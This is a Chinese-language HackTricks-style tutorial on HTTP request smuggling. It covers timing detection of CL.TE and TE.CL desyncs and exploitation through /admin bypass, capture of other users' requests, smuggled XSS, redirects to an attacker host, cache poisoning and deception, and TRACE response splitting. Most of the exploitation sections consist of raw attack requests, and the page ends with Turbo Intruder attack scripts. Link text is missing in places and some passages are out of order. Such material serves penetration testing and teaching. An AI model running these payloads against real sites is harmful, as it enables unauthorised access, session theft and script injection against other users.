Connection: Content-Length

寻找HTTP请求走私

通过观察服务器对操纵请求的响应时间来识别HTTP请求走私漏洞通常是可行的,这依赖于时间技术。这些技术对于检测CL.TE和TE.CL漏洞特别有用。除了这些方法,还有其他策略和工具可用于发现此类漏洞:

使用时间技术查找CL.TE漏洞

  • 方法:

  • 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • 观察:

  • 前端服务器根据Content-Length处理请求,并过早截断消息。

  • 后端服务器期望收到一个分块消息,等待下一个从未到达的分块,导致延迟。

  • 指标:

  • 响应超时或长时间延迟。

  • 从后端服务器接收到400 Bad Request错误,有时还附带详细的服务器信息。

使用时间技术查找TE.CL漏洞

  • 方法:

  • 发送一个请求,如果应用程序存在漏洞,将导致后端服务器等待额外数据。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 观察:

  • 前端服务器根据Transfer-Encoding处理请求并转发整个消息。

  • 后端服务器期望基于Content-Length的消息,等待从未到达的额外数据,导致延迟。

其他查找漏洞的方法

  • 差异响应分析:

  • 发送略有变化的请求版本,并观察服务器响应是否以意外方式不同,指示解析差异。

  • 使用自动化工具:

  • 像Burp Suite的'HTTP Request Smuggler'扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。

  • Content-Length变化测试:

  • 发送具有不与实际内容长度对齐的不同Content-Length值的请求,并观察服务器如何处理这种不匹配。

  • Transfer-Encoding变化测试:

  • 发送具有混淆或格式不正确的Transfer-Encoding头的请求,并监视前端和后端服务器对这种操纵的不同响应。

HTTP请求走私漏洞测试

关键考虑事项

在通过干扰其他请求测试请求走私漏洞时,请记住:

  • 不同的网络连接: “攻击”和“正常”请求应分别通过不同的网络连接发送。使用相同连接发送两者不会验证漏洞的存在。

  • 一致的URL和参数: 务必为两个请求使用相同的URL和参数名称。现代应用程序通常根据URL和参数将请求路由到特定的后端服务器。匹配这些内容增加了两个请求由同一服务器处理的可能性,这是成功攻击的先决条件。

  • 时间和竞争条件: “正常”请求旨在检测来自“攻击”请求的干扰,与其他并发应用程序请求竞争。因此,应立即在“攻击”请求之后发送“正常”请求。繁忙的应用程序可能需要多次尝试才能得出结论性的漏洞确认。

  • 负载均衡挑战: 充当负载均衡器的前端服务器可能会将请求分发到各种后端系统。如果“攻击”和“正常”请求最终进入不同的系统,攻击将不会成功。这种负载平衡方面可能需要多次尝试才能确认漏洞。

  • 意外用户影响: 如果您的攻击意外影响了另一个用户的请求(而不是您发送用于检测的“正常”请求),这表明您的攻击影响了另一个应用程序用户。持续测试可能会干扰其他用户,需要谨慎处理。

滥用HTTP请求走私

通过HTTP请求走私绕过前端安全

有时,前端代理实施安全措施,审查传入请求。然而,这些措施可以通过利用HTTP请求走私来绕过,从而允许未经授权访问受限端点。例如,外部可能禁止访问/admin,前端代理会主动阻止此类尝试。然而,该代理可能忽略检查走私HTTP请求中嵌入的请求,为绕过这些限制留下漏洞。

考虑以下示例,说明如何使用HTTP请求走私绕过前端安全控制,特别是针对通常由前端代理保护的/admin路径:

CL.TE示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

在 CL.TE 攻击中,利用 Content-Length 头部进行初始请求,而随后嵌入的请求则利用 Transfer-Encoding: chunked 头部。前端代理处理初始的 POST 请求,但未能检查嵌入的 GET /admin 请求,从而允许未经授权访问 /admin 路径。

TE.CL 示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

相反,在TE.CL攻击中,初始的POST请求使用Transfer-Encoding: chunked,而后续嵌入的请求则基于Content-Length头进行处理。类似于CL.TE攻击,前端代理忽略了携带的GET /admin请求,无意中授予对受限/admin路径的访问权限。

揭示前端请求重写

应用程序通常使用前端服务器在将请求传递给后端服务器之前修改传入请求。典型的修改包括添加头部,例如X-Forwarded-For: <客户端的IP>,以将客户端的IP传递给后端。了解这些修改可能至关重要,因为这可能揭示了绕过保护或揭示隐藏信息或端点的方法。

要调查代理如何修改请求,请查找后端在响应中回显的POST参数。然后,制作一个请求,将此参数放在最后,类似于以下内容:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

在这种结构中,后续请求组件被附加在search=之后,这是在响应中反映的参数。这种反射将暴露后续请求的标头。

重要的是将嵌套请求的Content-Length标头与实际内容长度对齐。建议从一个小值开始逐渐增加,因为值过低将截断反映的数据,而值过高可能会导致请求出错。

这种技术也适用于TE.CL漏洞,但请求应以search=\r\n0结束。无论换行符是什么,这些值都将附加到搜索参数。

这种方法主要用于了解前端代理所做的请求修改,实质上是执行自我导向的调查。

捕获其他用户的请求

通过将特定请求附加为参数值来捕获下一个用户的请求是可行的。在进行POST操作时,可以通过以下方式实现这一点:

通过将以下请求附加为参数值,您可以存储后续客户端的请求:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

在这种情况下,comment参数旨在存储公开页面上评论部分中的内容。因此,随后的请求内容将显示为评论。

然而,这种技术有局限性。通常,它仅捕获直到被用于伪造请求的参数分隔符为止的数据。对于URL编码的表单提交,这个分隔符是&字符。这意味着从受害用户请求中捕获的内容将在第一个&处停止,甚至可能是查询字符串的一部分。

此外,值得注意的是,这种方法在存在TE.CL漏洞时也是可行的。在这种情况下,请求应以search=\r\n0结尾。无论换行符是什么,值都将附加到搜索参数上。

利用HTTP请求走私来利用反射型XSS

HTTP请求走私可用于利用易受反射型XSS攻击的网页,提供重要优势:

  • 无需与目标用户交互。

  • 允许利用通常无法获取的请求部分中的XSS,如HTTP请求头。

在网站容易通过用户代理标头受到反射型XSS攻击的情况下,以下有效载荷演示了如何利用此漏洞:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

这个 payload 的结构用于利用漏洞:

  1. 发起一个 POST 请求,看似典型,带有一个 Transfer-Encoding: chunked 头部来指示开始进行走私。

  2. 接着是一个 0,标记着分块消息体的结束。

  3. 然后,引入一个走私的 GET 请求,其中 User-Agent 头部被注入了一个脚本 <script>alert(1)</script>,当服务器处理这个后续请求时触发 XSS。

通过走私来操纵 User-Agent,payload 能够绕过正常请求的限制,从而以非标准但有效的方式利用反射型 XSS 漏洞。

HTTP/0.9

如果用户内容在响应中反射,且具有诸如 text/plain 这样的 Content-type,可能会阻止 XSS 的执行。如果服务器支持 HTTP/0.9,可能可以绕过这个限制!

HTTP/0.9 版本先于 1.0 版本出现,只使用 GET 动词,且不会响应 头部,只有主体。

利用 HTTP 请求走私对站点重定向进行利用

应用程序通常通过在重定向 URL 中使用 Host 头部中的主机名从一个 URL 重定向到另一个。这在像 Apache 和 IIS 这样的 Web 服务器中很常见。例如,请求一个没有尾随斜杠的文件夹会导致重定向以包含斜杠:

GET /home HTTP/1.1
Host: normal-website.com

结果如下:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

尽管看似无害,但这种行为可以通过HTTP请求走私来操纵,将用户重定向到外部网站。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

这种走私请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

结果如下:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

通过HTTP请求走私利用Web缓存投毒

如果前端基础设施的任何组件缓存内容,通常是为了提高性能,那么可以执行Web缓存投毒。通过操纵服务器的响应,可以投毒缓存。

如果发现开放重定向漏洞或存在站点重定向到开放重定向,则此技术变得特别强大。可以利用这些漏洞将/static/include.js的缓存内容替换为受攻击者控制的脚本,从而在所有请求更新的/static/include.js的客户端中实施广泛的跨站脚本(XSS)攻击。

下面是一个利用缓存投毒结合站点重定向到开放重定向的示例。目标是修改/static/include.js的缓存内容,以提供受攻击者控制的JavaScript代码:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

注意嵌入的请求针对 /post/next?postId=3。该请求将被重定向到 /post?postId=4,利用Host 头值来确定域。通过修改Host 头,攻击者可以将请求重定向到他们的域(站内重定向到开放重定向)。

成功进行socket 毒化后,应发起对 /static/include.js 的GET 请求。该请求将受到之前的站内重定向到开放重定向请求的影响,并获取攻击者控制的脚本内容。

随后,任何对 /static/include.js 的请求都将提供攻击者脚本的缓存内容,有效地发起广泛的 XSS 攻击。

使用 HTTP 请求走私执行 Web 缓存欺骗

Web 缓存毒化和 Web 缓存欺骗之间有什么区别?

  • 在Web 缓存毒化中,攻击者导致应用程序将一些恶意内容存储在缓存中,并将此内容从缓存提供给其他应用程序用户。

  • 在Web 缓存欺骗中,攻击者导致应用程序将属于另一个用户的一些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。

攻击者构造了一个走私请求,用于获取敏感的特定用户内容。考虑以下示例:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

如果这个走私请求毒害了一个用于静态内容的缓存条目(例如,/someimage.png),受害者的敏感数据可能会被缓存在静态内容的缓存条目下。因此,攻击者可能会潜在地检索这些缓存的敏感数据。

通过 HTTP 请求走私滥用 TRACE

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

将发送类似以下响应:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

一个滥用这种行为的示例是先发送一个HEAD请求。这个请求将只返回一个GET请求的头部(其中包括**Content-Type)。然后立即在HEAD请求后发送一个TRACE请求**,这个请求将反射发送的数据。 由于HEAD响应将包含一个Content-Length头部,TRACE请求的响应将被视为HEAD响应的主体,从而在响应中反射任意数据。 这个响应将被发送到连接上的下一个请求,因此这可以被用在缓存的JS文件中,例如注入任意JS代码。

通过HTTP响应拆分滥用TRACE

因此,新的想法是,知道这个Content-Length和TRACE响应中给定的数据,可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应,从而使攻击者完全控制对下一个响应的请求(这可以用于执行缓存投毒)。

示例:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

将生成这些响应(请注意,HEAD 响应具有 Content-Length,使 TRACE 响应成为 HEAD 主体的一部分,一旦 HEAD Content-Length 结束,就会传递有效的 HTTP 响应):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

利用 HTTP 请求串联与 HTTP 响应解同步化进行武器化

您是否发现了一些 HTTP 请求串联漏洞,但不知道如何利用它。尝试这些其他利用方法:

其他 HTTP 请求串联技术

  • 浏览器 HTTP 请求串联(客户端)

  • HTTP/2 降级中的请求串联

Turbo intruder 脚本

CL.TE

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

工具

参考资料

例如,正如在中所解释的,在Werkzeug中,发送一些Unicode字符可能导致服务器崩溃。但是,如果使用带有头部**Connection: keep-alive创建HTTP连接,则不会读取请求的主体,连接仍将保持打开状态,因此请求的主体将被视为下一个HTTP请求**。

在确认时间技术的有效性后,验证客户端请求是否可被操纵至关重要。一种简单的方法是尝试操纵您的请求,例如,使对/的请求产生404响应。在中先前讨论的CL.TE和TE.CL示例演示了如何操纵客户端请求以引发404响应,尽管客户端的目标是访问不同的资源。

在中,通过请求走私和一个会将用户输入作为响应返回的易受攻击的端点,滥用了 HTTP/0.9。将在响应中反映的参数包含了一个伪造的 HTTP/1.1 响应(带有头部和主体),因此响应将包含具有 Content-Type 为 text/html 的有效可执行 JS 代码。

之前,我们观察到服务器响应可以被修改以返回404错误(参见)。类似地,可以欺骗服务器,使其在响应对/static/include.js的请求时提供/index.html内容。因此,/static/include.js的内容被/index.html的内容替换在缓存中,使得用户无法访问/static/include.js,可能导致拒绝服务(DoS)。

建议如果服务器启用了 TRACE 方法,可能会滥用它进行 HTTP 请求走私。这是因为这个方法会将发送到服务器的任何标头作为响应主体的一部分反射回去。例如:

继续阅读建议另一种滥用TRACE方法的方式。正如评论中所述,通过传输一个HEAD请求和一个TRACE请求,可以控制响应中一些反射的数据。HEAD请求的主体长度基本上在Content-Length头部中指示,并由TRACE请求的响应组成。

来源:

From:

: 这个工具是基于语法的HTTP Fuzzer,用于发现奇怪的请求欺骗差异。

从零开始学习AWS黑客技术 !

支持HackTricks的其他方式:

如果您想在HackTricks中看到您的公司广告或下载PDF格式的HackTricks,请查看!

获取

发现,我们的独家收藏品

加入 💬 或 或 关注我们的Twitter 🐦 .

通过向和 github仓库提交PR来分享您的黑客技巧。

🕸️
htARTE(HackTricks AWS 红队专家)
订阅计划
官方 PEASS & HackTricks 商品
PEASS 家族
NFTs
Discord 群组
电报群组
@carlospolopm
HackTricks
HackTricks Cloud
RFC 规范(2161)
这篇文章
这篇文章
在这篇文章中
这篇文章
HTTP Response Smuggling / Desync
Browser HTTP Request Smuggling
Request Smuggling in HTTP/2 Downgrades
https://hipotermia.pw/bb/http-desync-idor
https://hipotermia.pw/bb/http-desync-account-takeover
https://github.com/anshumanpattnaik/http-request-smuggling
https://github.com/PortSwigger/http-request-smuggler
https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
https://github.com/defparam/smuggler
https://github.com/Moopinger/smugglefuzz
https://github.com/bahruzjabiyev/t-reqs-http-fuzzer
https://portswigger.net/web-security/request-smuggling
https://portswigger.net/web-security/request-smuggling/finding
https://portswigger.net/web-security/request-smuggling/exploiting
https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
https://github.com/haroonawanofficial/HTTP-Desync-Attack/
https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
https://portswigger.net/research/trace-desync-attack
htARTE (HackTricks AWS Red Team Expert)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群
电报群
@carlospolopm
HackTricks
HackTricks Cloud
基本示例
基本示例
https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104